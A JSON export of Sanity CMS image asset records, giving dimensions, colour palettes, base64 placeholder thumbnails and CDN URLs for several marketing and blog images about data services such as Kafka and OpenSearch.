{"_createdAt":"2023-08-14T11:25:22Z","_id":"image-2cb7fe49c03122d85b58631cafc802445fc66793-1280x907-png","_rev":"XPsPxQ3o95dhiSIpxA9yoG","_type":"sanity.imageAsset","_updatedAt":"2023-08-14T11:25:22Z","assetId":"2cb7fe49c03122d85b58631cafc802445fc66793","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VVS~L?bIp{xGrDnNkCkqe.oLTyjZmkbHb_tlo0i_X9a{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4112458654906284,"height":907,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB/ElEQVQokXWSS09UQRCF5+/qgKhx5Up87HThSmR4xIVRwQ3GRHysJCK6IxGGMRHIgIncO/f27Rf9qOoq03cUUPTkdNJJ15dTJ+kOEYUQtNZSyqZpZCshGiGEVFlSKqW1ygNqPGOtRURm7qSUnHNN09R1PWpVVVVZHJVHP+pRWVdlPSpFNRpfqiq/KqUAIMNEhIghBOectdYYY0V5vL/l+uv+t0N/3Q82/MGOV8J7H2MkogwzMxEBQAjBGCOlNIffYO0pPb9DS9O0dLP1NL24R5tvydTUiltlOKXkvTfGNE1TVZXc3YqrM7wwxb0u9yZad3n5FvXXyJkT8jQZEb33WmshhNrbhlcPeP4Sz17g2YvZvS6v3KXhF8L4NzwOP1nbDgfwpseLV3l+kueneG6SF6/wuzkq9onSP5IBYLy5UsoOd3B15ldyr5uTH1/nzyukyrOFT+GUEgA457TWdjjA1w954XIm5yb40bUce7BN0Z+HidtliCjGaK09/r6L75/Q8m16diP75X3qf0hWpoSp1Rk4IcWAEDElRASAaBo83ElfP6XBRxxs4N4mNgXGgK1SOq3dIYhwbLw1PuTntgImCBh8Cj5FnyCklhnrz7UhgpKmzp/OeR9CiPmA9ehins29/qMOxwBVIQ4PiqJQymiltFLKuJHywkY40/A8/BMmPAZikC5l2gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832901","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5105","foreground":"#fff","population":4.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ddcdbb","foreground":"#000","population":1.62,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca455","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#717477","foreground":"#fff","population":0.4,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5105","foreground":"#fff","population":4.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"EMEA-GCP-+-Aiven-+-IDC-White-paper-on-the-website.png","path":"images/sczeoy4w/production/2cb7fe49c03122d85b58631cafc802445fc66793-1280x907.png","sha1hash":"2cb7fe49c03122d85b58631cafc802445fc66793","size":48752,"uploadId":"wDXNdGcvXVd5zQaCv2rEyTfdcko1MVWf","url":"https://cdn.sanity.io/images/sczeoy4w/production/2cb7fe49c03122d85b58631cafc802445fc66793-1280x907.png"} {"_createdAt":"2024-08-07T19:35:33Z","_id":"image-d485305238b19a5d6fb49ae21befa8a162466f5e-1380x928-png","_rev":"msvVOwV0ly404Y5Jq8oDBk","_type":"sanity.imageAsset","_updatedAt":"2024-08-07T19:35:33Z","assetId":"d485305238b19a5d6fb49ae21befa8a162466f5e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V36*z~4T4m_44,?KSJITxINdE0WTI9%O-pK9R4xttSv}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4870689655172413,"height":928,"width":1380},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAACToAAAk6AGCYwUcAAADIklEQVQ4jV3TSU9bBxSGYf+GACb1dG3fyb72HT0y2MShgTa0TROKUBcI1UkYwkwYTQCDgRgz2FCIoiRql42iSM2ym+76v94Kg6jUxdk+OvrOd1x3PL/Q4i3S6ntGq3+MNmEKr/oS0SyhOq9Q7E2EeImgXibz9Vv6Bj/S2f8BLXOMmjwkkjpCco4I6DV8sUNc1+DTG3CctuA0X8kLBLVlJH0VUV/HH1lBdXZ5MvKZqeV/+Gn0T5xcHS1VRUvVkO0qgXgVX7x2Dd7xFGnx/gd6lUXC2hIhbRkhutIEI4kK3w//wdOZvxkc+Uwq30BLVokmDpHMKkH9EF/8CFerr4g78Jx2YRy3MMFdcZZEdpsfvj2ip7CPmS1jZHfQs3s4uVMKD98xPPw7Tx6/pav3jFRPA7urTiR5gmCe4PKExwlFpxFjc/jkGXzqAoXeA8Z+fsOjgWPS+QqJ3B5mRwXZKmNnDhgZesP4yHv6v7uku++Cjvu/oneeISYauHzyJIoxj2a/JBSdxx9ZxExvkcvvksxuEXU2UKwNZGsTydhGcyoUeo95OHBO7kGD9L16M89Ypo6UbODyShPI+hxRa7EJCtoSorGGqK+iWutoiVdIZolQfAPZLKM6FbTkPk53jUyhTrqnjtFxQiR1egOKE4ix2eaWweg8wdgyorFOOLaCbKwScTaQjBJh/WrTMqpdQbEq2LkT+oZ+o/fxhyaoOMfXoEe8ynAGKT53C8pWCdlcQzbWUKwSinXVxy0UewfF2kU2K3R8c8noyl8MvfiC0dVAsm/A9uBzfNIkgjp9e5Swsd7M7WpUZxM1sU0kuYts7yCZu6iJAzJ9lwxOfmFg9BN61xmyc0LIPsXV4ivS5n+GOzDWrI07OIVHXiQQXUHQ1gjESoStLYz8a8z8IfHOGs79c6x7Z9iFC4zcOXLimJB5ROC22N4iLTev1xqYwC1M0R6a5W54gfbwIoHYGum+Kj2PGnQPXNDz43vMfIOwsY8Q2yOg7ePXDvBHX///9cZoa4IvcAvTtAdncQfn8ShLaNky2Qc1uvrrpHsbKM4B/sjOzVTwR/eb4L8KxeDxnW8fAwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4988","foreground":"#fff","population":1.7,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04217e","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#abb5eb","foreground":"#000","population":3.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c69dab","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#abb5eb","foreground":"#000","population":3.67,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f69a6","foreground":"#fff","population":2.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd3c7f","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AI-driven recommendations.PNG","path":"images/sczeoy4w/production/d485305238b19a5d6fb49ae21befa8a162466f5e-1380x928.png","sha1hash":"d485305238b19a5d6fb49ae21befa8a162466f5e","size":208803,"uploadId":"G57Kilxphxh2OFeJ1LzLnSUV0DTDJtOM","url":"https://cdn.sanity.io/images/sczeoy4w/production/d485305238b19a5d6fb49ae21befa8a162466f5e-1380x928.png"} {"_createdAt":"2022-06-15T20:01:36Z","_id":"image-bd5bbdd1fa03ac717a98c5c1c41f5c1454978224-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEapGR","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:21Z","assetId":"bd5bbdd1fa03ac717a98c5c1c41f5c1454978224","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9Rb9g[5IAS#M{}kmSo#o}n4dWm,tSs9of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACV0lEQVQokRXN2XaaQAAAUH6sp9WoMRGNqFUxiDui4IKKijG4JTXdTtuT136fjsAMIzCgbz29P3Apn2H8LOPn04R9IFzK45NuLeE1E16Hdvs0Vmh7fI+mtL0r4Z+t81v5vH/EXx7RrgDXDBXk8he2dC2zlwp7qeQCLuXzdFCjL+0kkVN4kEDKna0xzi/Z+fuE3/v4j3R+l/FvEb3xlJsveXyVNOq+UA+EStBgg2b+KhaucoH0c2iYtlQGPbP2vom+Ceb20dwUrB0L/88ZysiVrEoDdbpY7nr9jj/sXBThqorXuUjUKlY5qNfgaxvuaoaWBUoMKBFDjZmzWziPUyDLGbW21e1hSSYdMRjIF6UbKO1AaXkDHo/K8KkO1y1L541pBgzvTkrMGEdNNWpOY5RZEqCi2ZruzBb+aBwsFoG+IPORpw3OMwktOvZ+bH+fwJ0IN034IqBnFk4S5igKhmHKLAhWb27PV476RMZz/3ntb7dktXTXC6xP0XKI9nP7xwJuJLSV8NchXlWRQpu9CJBC1OmharVG9nDhyKonjUlvREYTbzp1tOlZ16A2MMctQy6dhLQhpk2ZMSXaEKNADB3ET5SVFdBAx8u9q72Q6ZooGploZLlyNxtn/2q/6OasB2rMkY2CxwgoR07VG9AIH1uhgxCijLuqUZBMvo/4nst1vZLgci2n1j4327YgwE7LaFdAOQ2KccDeAi4G+OixenOshw+NEHX4UDh+LBzDeSOcs0MZJ5xxIgyOPaB40krQRjp5+pw6FZOn4v2pGAelGOCiR/7mUA0f66F/D0l7nweCUIYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#960402","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#820302","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5250","foreground":"#fff","population":6.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc4c4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7953","foreground":"#000","population":2.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad6359","foreground":"#fff","population":0.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5250","foreground":"#fff","population":6.87,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bd5bbdd1fa03ac717a98c5c1c41f5c1454978224-752x405.png","path":"images/sczeoy4w/production/bd5bbdd1fa03ac717a98c5c1c41f5c1454978224-752x405.png","sha1hash":"bd5bbdd1fa03ac717a98c5c1c41f5c1454978224","size":104551,"uploadId":"QmaxS0FgNKrakZ745g5W6QoW9NkBzLdZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/bd5bbdd1fa03ac717a98c5c1c41f5c1454978224-752x405.png"} {"_createdAt":"2022-06-15T20:01:37Z","_id":"image-f93ae7ec375963091127e3dacf59a64a78c69456-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhUa2","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:18Z","assetId":"f93ae7ec375963091127e3dacf59a64a78c69456","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47MNo}ddCYjI[P;$e-VXopG0J4TVt%ztS","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiUlEQVQokRXLV1PaAAAA4Dx4QFFmglSWopzW2hNFULEgCCq0AcQQEkYSRlgywp6BYMFqrVXxrl7bp/7VXr/3D3hzWZREauJAQeygRMfxBQchcMR5LoJ3meWXBvzmmJfv8LsTwcsv4csf4eheWGbnE1UpmlL6Q4CG6u7kOWOy9x6rG4IlhYeWnKcgf1aWbAmvH/lPv3njBwH3TTR9lHHfpY2xJNsSEWVJiAYvSGCFZg8yQyvV3Y40/mdvRg7nDXj9XYFT3r6KXv+Kb2YQw2mpuiZaURGMLlJ6i2TkPgr8HAf09PAoP7Yn+6ZYyxhtbmD1JYRZjnV2ijfGwZOhPl1JtPTh8lqgoPHnloJ5vS+rcxOLTkzpwoDNzAhu/8D6zxF2Rl7/RAezbXqkwJsbae4o/2UHZQy+vAZllHgTRGsgUlbAOchJyG1h6CQCaMO1wywHtx5C7CwyekHZmbkwVuP11VjblB4aU/11srNM9pREH4y2Qawq9+ekbkJyjMldMQCC83uJvrvy1c3cemp33vqdtTDeo1kzzVpLk+Puk73zvFe915cm2txIRbQVgRx4GoWcuOqMAmSezBbeNJM9E9k7pNn99GA32TVfjU05djfVsxZvPzaezd3HzcZ0o8jqqao6SKnOEd0JsubCAL6dEDsSUgcpc1KQO7l4ltIFimuJjjpaVcBZFVpbLU62WlNjY/ChUtlKkZsYsuq/0J0GtY4gMHeIzR2E5ywIbz8ksOLz9viiJ6sNMcpAQeJNy9DSenVkGwxt7ZKlGNumEEM0rAphCk8YciIAbx/lWUI804XAcjlvjy2cUDL4Sos3V+Cs0ptUxxlbn0NuOp96lKWCaYkIGIxDPkJxioO24D9nCMlEMnNiOgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353c52","foreground":"#fff","population":3.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#087f8a","foreground":"#fff","population":5.57,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#087f8a","foreground":"#fff","population":5.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1dfe1","foreground":"#000","population":5.3,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6bc3cb","foreground":"#000","population":0.91,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a85077","foreground":"#fff","population":0.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19b8b7","foreground":"#fff","population":5.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f93ae7ec375963091127e3dacf59a64a78c69456-752x405.png","path":"images/sczeoy4w/production/f93ae7ec375963091127e3dacf59a64a78c69456-752x405.png","sha1hash":"f93ae7ec375963091127e3dacf59a64a78c69456","size":120663,"uploadId":"CwZRyxXgs7zwyq0UlMlFHuwLionm0zpy","url":"https://cdn.sanity.io/images/sczeoy4w/production/f93ae7ec375963091127e3dacf59a64a78c69456-752x405.png"} {"_createdAt":"2022-06-15T20:01:42Z","_id":"image-346303c1b91a7c25ba6617f5bed0c77d64339b17-725x405-png","_rev":"QRl2cGoCgj0FlAhkRrhXh6","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:08Z","assetId":"346303c1b91a7c25ba6617f5bed0c77d64339b17","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAIE9JB-00,[EK00;NyYEf$*{K56Ndt7x]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7901234567901234,"height":405,"width":725},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQokQGfAmD9ACsZFzYfG0cqJF43LG05Kn9DLphgQ6pzUrd9WMOPaseXdryKbqN2YY9lWH1SR29JP2lLQmNQTl1TWlVQWQA7LClTQz9wXVh4X1eBYVaQbl+efGqmgWqtgmi3jHK8knm4jHWqf22ZcWSJZVt7XVdpUlBVREVENz06MTgANCgnTUJAbmJfd2dhfGpjiXRrknpvlnpsnHtro4BvpoNzo4Bym3pvkXRriG9pfmpnalpaT0JEOS0xLyUqAC8kI0I3NmFVU3BkX3ZoYn9waYd1bI54bph/c52Cd5t+c5J0aoltZIBnYHhkXnBfXGJTU1JFR0U6OzwwNAA4LCxSR0VzaGV9c26AdXCLgHqThX6ZiYCikIaplIqkjIGZfHKRc2qHbWWCa2V8aWVyYmBqW1piU1NZSUoAMykpUkhHeG9se3JueG5piH95lYuFmY2FoJKJppaMo46EmoF3jXNrfmdiemdkemloaltbXk9QWElLVURHACohIlJKSoJ6eImBfoV9eZeQjKWfm6SdmKifma+knrCjnK6dl6OSjZiIhpOFhX91d1JJTTkwNjQsMjQrMQAqICFZT06QhoOim5elnpyvqqe3s7K5tbO7tbPDvbrJwb7Nwr/Twr/Xwb/OuLacjItSSEswKC0pIignICYAJR0eRjs5c2VgkIN8n5OOpp2Yr6mmurWyvbe0xsC708nE3szH6cnG78LA6LWyvo+Ng1xcZEBCWDY4UzI0ACIZGjUoJlVDPHdfV452bpmFfaSVjrCjnbqup8e5stXCuuLCvOm5tuuqqOaZmNaFhcNycrVlZKpZWKNSUQAzJCFIMi1lRj58WE+MaF6ZeXCkin+ulYu7o5nKsKbWta3htrDnsK3lnp3giYrXd3rSb3DMbWq8Yl6vVFCw6jLcISlytwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b3c39","foreground":"#fff","population":6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e2115","foreground":"#fff","population":3.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#df9c93","foreground":"#000","population":6.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7b8b6","foreground":"#000","population":2.7,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df9c93","foreground":"#000","population":6.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af7b6e","foreground":"#fff","population":6.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d46626","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"346303c1b91a7c25ba6617f5bed0c77d64339b17-725x405.png","path":"images/sczeoy4w/production/346303c1b91a7c25ba6617f5bed0c77d64339b17-725x405.png","sha1hash":"346303c1b91a7c25ba6617f5bed0c77d64339b17","size":167664,"uploadId":"u7nlxiqILFQrFpa5wcHxov2q03DlT532","url":"https://cdn.sanity.io/images/sczeoy4w/production/346303c1b91a7c25ba6617f5bed0c77d64339b17-725x405.png"} {"_createdAt":"2022-06-15T20:01:47Z","_id":"image-711037a1e6b6c024e8920e375d28e7c14f26c663-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhdx4","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:38Z","assetId":"711037a1e6b6c024e8920e375d28e7c14f26c663","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDAA2V564.~VD*9G%M-p9Zxa9tnixaX8WV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACc0lEQVQokU3RzWvTcBwG8F9+aZIuSZO2SZv0Je2SxriuXVPbrVubvr+5NVtXsYPOuemY4pwvYwNlTBCEIXhRZDBFEelBnYLKwJMwFD2JFw9e/G8k20G/9w/Pw/MFAAAEQaB1KIJgCCQRlIGYGyU8OOUbYEOUa5B0hkhniPOqkUgyoiR5XiZJgSB4AABAURTDcAzDISQQSEKURQneRgokExTEk3I4EZZi/kBUkfXRkWxez8eVpMjLrMMPIIQ0TQeDQUkKc5xI0RztEGnGzzqlSDBaSxXnSq1qupjQ0oVUcaExe73d65XNUydSAidbsT6fz8gZzcZkdqIQjabi8czI8FhC0Zt6/lKzc3V6zpyolnXjQnP2zrnlnYtXbnTm8wlD4BULi6JoGIZptuv1Vi5Xq5VbZnWmMVquJXKtTKVjNFuZyvRYZaFsrpw+c7nV7Zam4hGdcYjWWhRFScGQpkVVNaaqieRItpCpFFLFvJ6bydVW2931s/O9yrQ5Xp/KVKvpUlJLCZxE2l3WYBCiOG4nCIqwsxQleHk5EoqlY+O9yc7DzY33D3b69+7urN3cXlndPL/cLjZUSfM6/R7Wb+HjZyGIDYEDNszFOAJBUUsPj6/1lg6ePv7x8dWX/ZeH+/1vH15/erG3ubgQHdQCfEjyKsfY8gCgALFDlB0gBQ+vaLI+UzPvb229eb53ePD298+vf359//yuv764NCTHBI8ieP5hqz4AOEAoaHPaScHtCsvhWHa02J2d2751+9ne7pPdRxur1wpjJVFQGVaimcD/+Cj8yCMogxEcTftcTknwKtGhdMGo57JVTdU5d5ggvTact+Huv5jzdedUh+WPAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f2a39","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#501c24","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#96696e","foreground":"#fff","population":2.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfaea8","foreground":"#000","population":0.6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dac2af","foreground":"#000","population":0.7,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#96696e","foreground":"#fff","population":2.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc4255","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"711037a1e6b6c024e8920e375d28e7c14f26c663-752x405.png","path":"images/sczeoy4w/production/711037a1e6b6c024e8920e375d28e7c14f26c663-752x405.png","sha1hash":"711037a1e6b6c024e8920e375d28e7c14f26c663","size":131616,"uploadId":"a5ZLF8JVFnCvPnk35yJzYt2j7To9va33","url":"https://cdn.sanity.io/images/sczeoy4w/production/711037a1e6b6c024e8920e375d28e7c14f26c663-752x405.png"} {"_createdAt":"2023-08-25T07:42:41Z","_id":"image-4888da7cef670e4a85349180a212407e40d45136-1567x844-png","_rev":"JgIs2qI3CUllaKCG3TsZxJ","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T07:42:41Z","assetId":"4888da7cef670e4a85349180a212407e40d45136","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB7d^p-.M]j@M|?wt6M{kDRkRhM|WBt7oc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACcElEQVQokSWSa0/aUABA+wuEtvRxe9velpaHKDIT52AjUx4jDphILUJtkbcICCpKFDVC2BPd3GZM5tyf3Ss5X0/Ol4MRXI4S8rRgMKLFShXgbHBKm3f1BM+RODuQ54by/JXTP5LnzmVfH3l7nNpxCFU7MGyMjiH3TmC5HVrth1YGL6LDcPwyuHoZjk9iqWn8zZdY6jaa+h5J3sXTt2uZaSw5CQSHnLpP8FWcszCXv/YyfpLMjtLaJJP7kMlN05tTzfhmVh+2K4+b5sN6/kEzfxVKPzNbnyNrk0BwLHiHjHzISF3ME2isJAbJjSut8HHLutk0bvTtr1vWnW7dbxTu17J3sfT3TOFRN3+EIiNl/kScvYTuC6CeQfcVps5VwtHjRPpiPfdON6838tcpbRp5/X4pPF54NvI9Hc8uTRaff3oSeiv7+jRq06hLS/uMfMCpZxhUzMVgJxw9WU0ME+nxq/QkHB/7l89ETx8ofeAaQPc5774AyjGF9ki+THBFgiuSfIVGbQwHOoMMqBYFV0XyNmVfG3m70NVl5B4tHTDOPlBPgXJKyz2Sr+GcRcDSfyixic3Qmo3WbEzODgwcWDgsk3zDIbZoqUOhNi11GOch6+zTUoeAJRyYDmGXQi2Sr5J8DWPYLBJ0pBahUqaEEgErDqFBiS0KtUmhTsAyKdQocc8hNHBg2YFBiU0KtQi4Y2cLmMxn/Wrev1B3+ZtArjrEKo12GanDyPuUWCegRfJFSqz/HYM17Gz+X7NiY/MztIaJUsGpbCuesuSt8WodupqCuyN6esh7JLi7nFLnlDpU2zSq2dm8jcnhwLQDY4bR/8i/AfuHpgwA7OMnAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e456d","foreground":"#fff","population":0.95,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#060472","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dcea","foreground":"#000","population":7.15,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8dcea","foreground":"#000","population":7.15,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949be4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f92","foreground":"#fff","population":1.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242d90","foreground":"#fff","population":3.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"connect-apache-kafka-to-opensearch-with-terraform.png","path":"images/sczeoy4w/production/4888da7cef670e4a85349180a212407e40d45136-1567x844.png","sha1hash":"4888da7cef670e4a85349180a212407e40d45136","size":126540,"uploadId":"SIvqZOS0JrJCQ7rLscjLKDXIn2TJrKHz","url":"https://cdn.sanity.io/images/sczeoy4w/production/4888da7cef670e4a85349180a212407e40d45136-1567x844.png"} {"_createdAt":"2022-09-07T06:39:12Z","_id":"image-9062199802b0cd1396dd7f04d5f4d6ae79ed9abb-1567x844-png","_rev":"XMqVxILwpPMz4xYxc8FJhY","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:22Z","assetId":"9062199802b0cd1396dd7f04d5f4d6ae79ed9abb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA7Bc@tlITxtWU?wxuM{bcWBX8xCocWro2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACj0lEQVQokV2TaU8TYRSFB0pLQaHIVqlYWzp032ZaqZNSLQZNjITaznRKp9swBUw0KsYluMRIIIrG5Sc/ZsYt+uHJvR/enHvuuXkFX6zFQrrjsJjpMpfqMpPq4UsPmMmYzOUt5nKW0/vSJtO5faYKDxnPP2AkdYCQ2PuX5cIu8u1DKvUjbjReU9p6SXHrCHnrFbk7L1mrv+WadoxUe0e+9o5C4xhZPeHK5hETufu4YgNc0R6uaN9BCK0Nua6+YXv4ibvWGbe6p2x2TqkaJ9xon3Db/MSd/e9sDr9RNb/8ZPCFgnZKsPqMqewe7mgXt9jBLRoIy8UhpdprNrofUPQTyvox5eZ7Stox68ZHqv3P3Nz9yob5lfXuZxTjzOFa+4xM7T2zpce44hZjq7aogXAubbFYesjF8iHzyhMWlcf4lUcsKIdcrDwjUH3O8sYLlu16/SmXKk+4tP4T+91k9gBXzPwrOBrbZTRuY/1hJDFESO7jzuzhky0Wrpr4iz2WpDaBrE4g0ySQ1llKtpiP7zC52sYT2cETaSG4xTY2Y6LB2GrHCXgkbiEk9hnPDlkq9VmtGKQqOvlyHVnZRlrbRircQ5bqJNMqgWiTmYjG+bCKMBFWmQhreCM6HlvcEe1jO3cnTKayffyyQUxpIq/fo1iuUVDqyCWVQlFDymkkk03CUZ15UUe4sNLAH2uykOowFTfwRlqOdXsFOxN7wETMYDGjc0VSCUkaQWmHy1KHy/kewUyXYKrHUnLAdNxE8It1QqkWwXyf2aTB5IqGN6TiDWuOqBNDrI87PmA80f/FAE/CxJPY/YM7bjnXFqZXGsyIGr6oznmxiR2BN9TAG1YZX2k6Ln9nav+E0V8XHRM7zrD/+QGqtHM2LHVS6gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a2857","foreground":"#fff","population":1.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":29.9,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":29.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2b6d6","foreground":"#000","population":0.66,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#969edd","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#945cac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c47b14","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9062199802b0cd1396dd7f04d5f4d6ae79ed9abb-1567x844.png","path":"images/sczeoy4w/production/9062199802b0cd1396dd7f04d5f4d6ae79ed9abb-1567x844.png","sha1hash":"9062199802b0cd1396dd7f04d5f4d6ae79ed